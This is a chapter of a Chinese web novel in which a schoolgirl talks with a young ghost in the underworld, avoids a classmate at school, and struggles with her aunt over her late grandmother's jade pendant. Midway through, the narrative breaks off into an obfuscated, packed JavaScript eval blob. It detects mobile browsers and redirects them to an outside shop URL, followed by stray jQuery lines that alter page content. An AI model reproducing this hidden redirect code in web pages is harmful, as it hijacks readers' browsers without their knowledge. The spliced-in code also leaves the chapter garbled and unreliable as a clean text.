16. 还没谈过恋爱呢

作品:《没死但进入地府怎么办

    “我说过的,”池闲吟突然出声,拉回何梦识随意驰骋的思绪,“我需要的善德已经存好了,现在完全是为了不无聊才继续在这打工,平日我也会到处逛逛。”


    他其实是没话找话,也是希望对方不要那么纠结还自己善德的事。


    “我开始以为善德越多,下辈子投的胎就越好,可掌柜的又说,下辈子和现在的你没关系……”何梦识盯着池闲吟的眼睛,沉思着,又说:


    “我觉得,好像有些关系,就像我和我的前世有什么连着,没断。”


    “那是因果没解吧,我也不太懂这些,”池闲吟挠挠头,“就是常听这的鬼这样说。至于你说的‘善德越多下辈子投胎越好’,我觉得信不信无所谓……”


    他顿了顿,见何梦识一直望着自己,听得入了迷竟忘记喝粥,又指指面前的碗。


    何梦识“哦”的反应过来,赶忙舀了几口送进嘴里。


    池闲吟满意地笑笑,这才继续说:


    “下辈子投胎的善德已经够了,多的就是让当下舒服舒心,我又不想下辈子投个首富的孩子,平常人家,有家人疼爱就好。”


    “说的好有道理。”何梦识轻声说,她从这番话中明白了很多。


    “你这辈子应该过得很幸福吧?”何梦识不自觉地问道。


    什么样的生活造什么样的人,她这样认为,又想道,这么乐观又有这种见解的人,家庭肯定幸福美满。


    “我吗?”池闲吟觉得这问题有些突兀,本是轻易回答的问题,他却有些难开口。


    没听见池闲吟的回答,何梦识马上意识到什么,连忙道歉说:


    “那个,我无心问的,抱、抱歉。”


    何梦识内心懊悔,这样问不是揭人伤疤吗?


    “没事,”池闲吟露出无所谓的表情,仿佛就是随意地聊家常一般,“我的家庭确实幸福。我父母身体很健康,他们很恩爱,我还有一个妹妹,读高二了,迷糊善良……”


    他顿了顿,漏了一笑,“有一丢可爱。她比较粘我,跟个小孩子一样,我这一走……估计她已经长大了。”


    何梦识听着,注意着池闲吟语气的细微变化,她有些心疼,歉意又起,却又有些羡慕。


    “你多大了?”何梦识问。


    “21。”


    何梦识心里喃喃:这么年轻,才读大学啊!


    何梦识舀了最后一勺粥,掀起眼皮小心地看向他:


    “那个,你读哪所大学啊?”


    “A大,”池闲吟说完又忍不住多补了一句,“你要是没目标可以考虑下它,我觉得挺不错的,虽然有些难考。”


    全国数一数二的大学哪是“有些”难考,尤其是……不觉得自己有未来的何梦识。


    如果,真有机会选择的话,何梦识会去朝这个方向努力的。


    她无所谓大学多厉害,只希望离这座城市远些。


    池闲吟拿过空碗,起身道:“我去放碗。”


    他正要走,何梦识突然叫住他:“池闲吟。”


    池闲吟脚步一顿,回过头看向她,疑惑道:“怎么了?”


    何梦识有些后悔叫住他。见何梦识不说话,池闲吟又说:


    “你有什么想问的就问吧,没什么不能问的。”


    何梦识被说中,一抿嘴,硬着头皮问:“你有什么遗憾没做的事吗?”


    何梦识想:“这么年轻,好多想做的事都还没做吧,带着遗憾离开怎么会好受?”


    池闲吟怔住了,许是认真思考这个问题,半晌后,他半是开玩笑地说:


    “有啊,我还没谈过恋爱呢。”


    这……这下轮到何梦识愣住了。


    她以为对方会说自己梦想没实现,没好好报答父母这类的,可她又回味池闲吟回答时的语气,自语道:“开玩笑的吧?”


    时间没剩多少,两人在醉仙楼一楼又坐了会,何梦识不敢再开口问,怕引起对方伤心,只是听池闲吟说着暂居的各处景色。


    等时间彻底过去,池闲吟起身,一直送何梦识到暂居的传送门。


    何梦识停了下来,对池闲吟说:“你回去吧,明晚见。”


    “明晚见。”池闲吟回道,看着何梦识被绿光包围,直至消失,这才往回走。


    他收回视线,微低着头,一路走得飞快,好像要避开什么,他用力咬着嘴唇,又似乎竭力忍着什么。


    他快步走着,等他走到两个居所间的黑暗小巷时,停了下来。


    这里黑得伸手不见五指,静得可闻针声,更不错的是,没有第二个人在这里。


    脚下的石缝中,一棵杂草顽强地钻了出来,突然一下,这棵草被一滴水打得垂下了腰。


    池闲吟深呼吸几口气,向着前面的光亮处,大步迈去。


    何梦识踏上黄泉路,思绪有些飘忽,一会想到下辈子,一会想到池闲吟原本的人生该多美好,又不自觉想到他说的那句“我还没谈过恋爱呢”。


    一阵风忽地吹来,卷着黄沙,裹着何梦识。


    她只得闭紧了眼,加快脚步,再无暇去想其他。


    第二日午时,结束了上午的课程,下课铃一响,所有人冲出了教室。


    看着其他人都着急地往食堂赶,何梦识坐在座位上不为所动。


    她感觉自己还不太饿,又想起池闲吟说吃了祝余肚内几天都会有饱腹感,便决定还是不去吃了。


    “但你还是要记得吃饭。”池闲吟的话突然在脑海内想起。


    何梦识有些犹豫,但不过几秒,她还是决定利用吃饭的时间来补觉。


    待会儿可以去买个面包。她想。


    已经连续一个星期没睡好觉,因此难得的一次补觉睡得格外香甜,沉重的大脑也变得轻盈灵活起来,立马做张数学卷也没问题。


    何梦识估摸着时间,大多数人估计已回寝室睡午觉了,于是起身去了校园超市。


    早上下了些雨,到了中午,却有暖阳透过云层洒下,路上的水也渐渐蒸发,只留几个小坑还兜着雨水。


    何梦识本就不饿,想着池闲吟的话,才勉强来买个面包。


    选好东西正要出去时,见几个人堆在冰饮前,只朝何梦识露出背影。


    那是几个男生,穿着短袖。今天虽然有些阳光洒下,但毕竟三月天气,冷是肯定的。


    那些人气喘吁吁,汗珠挂在发梢上,正挤在一堆挑选饮料。


    “随便拿瓶得了,挤一起不热?”


    听见声音,何梦识脚步一顿,下一秒,她想也没想转过身回到一排货架后。


    可冰柜就放在超市门口,她想出去就不得不面对他,等他们先离开好像又不太现实。何梦识否定了这个方案。


    “唉,你去哪儿?”外面有声音问。


    一个脚步声越来越近,那熟悉的声音回道:“看看有什么好吃的没?”


    “哦,那有的话你帮我拿一包。”


    何梦识捏紧了面包,看了看周围,抬脚就往另一边走,见马上就要拐弯,她还没来得及高兴,一声音叫道:“何梦识?”


    何梦识站住了,正想要不要装作没听到继续走,身后的脚步声再次想起。


    她不知道自己干嘛这样,怕他干嘛,反把自己吓了一跳,于是转过身看向他。


    见她转过身,于跃渊站住了,有些高兴说:“还真是你,你——”


    他视线落到何梦识手里的面包上,眉头一蹩,刚才的高兴荡然无存,问:“你没去吃饭?”


    何梦识看着他,见他额上还淌着汗珠,脸色有些绯红,就穿着件夏季校服,露出来的手臂肌肉健壮,有力却又显得青涩。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336248|199034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “问你话呢?没吃饭?”于跃渊烦躁地又问了一遍。


    “吃了,想再买个面包等饿了时吃。”何梦识说谎不打草稿。


    “哦,胃不好就好好吃饭,你……算了,我懒得管你。”于跃渊止了话,转身悻悻离开了。


    何梦识看着他的背影在转过一个弯后消失,这才跟着出去。


    “没什么好吃的吗?怎么两手空空地出来?”


    一个男生递给于跃渊一瓶雪碧,上面还冒着寒气,液化的水珠因重力滚了下来。


    “能有什么好吃的?”于跃渊接过水,又催道:“买好没?买好就走了。”


    何梦识从旁边经过,看着他们仿佛淋了雨般大汗淋漓,本以为会闻到一身臭汗,却是淡淡的洗衣粉味,有些意外。


    何梦识匆匆结了账,离开了。


    晚上,放学后何梦识去了学校旁边的书店。


    她想逛逛,看能不能运气好碰到个池闲吟也许会喜欢的物件。


    逛了半天,也没遇到什么,何梦识有些失落,正要转身离开,“嗒”的一声,什么东西被自己不小心碰下来了。


    她转身低头一看,原来是个五阶魔方。


    她忙捡起来,正想放回货架上,突然觉得送给池闲吟挺好的,他无聊时就可以玩玩,可能也是一种缘,便买下了。


    回到出租屋,快速翻开作业写了起来,手边的闹钟一下一下响着,伴着沙沙笔声,也不知过了多久。


    何梦识头都没抬过,自然看不见闹钟显示的时间。


    她靠着做的卷子张数,估摸着,觉得做完手中这道题便也差不多了。


    外面的天是紫色的,也是纯色的,没有闪动的星子点缀,天与地相连处是块晕染开的橙色,还算一番美景。


    等时间差不多,她起身快速收拾一番,出了门,直奔车站,没等一会便坐上了末班车。


    何梦识靠着椅背,别过头看向窗外,身体往下滑了滑,窗玻璃上再无她的倒影。


    “你就不知道为这个家着想一下?”张晴眉抹着眼泪,却不料把眼线擦花了,模样有些滑稽。


    “再筹集不到钱你弟弟的腿就没了,算婶婶求你了行吗?咱把玉卖了吧。”


    “可、可那是奶奶的遗物。”何梦识无力地回道,明明有很多值钱的可以卖,为什么偏偏要卖奶奶留下的玉佩?


    “遗物又怎么了?你就是不想卖对吧?我看你就是见不得你弟弟好!”


    张晴眉瞪着何梦识,脸上还挂着大颗眼泪,咬牙切齿道:


    “你吃穿哪样不是花我们的?你懂不懂的报答,你个白眼狼!”


    “我……”何梦识犹豫了,可是,自己父母死后留下的钱,奶奶攒了大半辈子说要给自己上大学用的钱,不都给你了吗?


    “家里已经很难过了,你还不知道吗?”


    何梦识看着她,遗物毕竟是物,不能与人命相比,她,她应该把玉佩拿出来的,可是……


    心里有个声音在说,人命又如何?何明辉死了又如何,她甚至巴不得对方去死!


    但那个声音只是在心里阴恻恻地笑着,何梦识被另一股力控制住,控制不住地将玉佩拿了出来。


    正要递到张晴眉手上,这时,何铭辉大摇大摆地从房间走了出来。


    何梦识看向他的腿,哪里有问题?


    骗人的。何梦识意识到这点,连忙把玉收了回来,电光火石间,张晴眉一个向前扯住玉佩。


    两人抢着玉佩,战况激烈。


    “拿来!”张晴眉额头青筋暴起,面部扭曲,但两人依旧僵持不下。


    张晴眉剧烈晃动着手臂,突然一下,玉佩被扔在了地上,“咔”的一声,碎成了两瓣。


    何梦识被雷劈了般站在原地,她望着碎掉的玉佩,久久不能回神。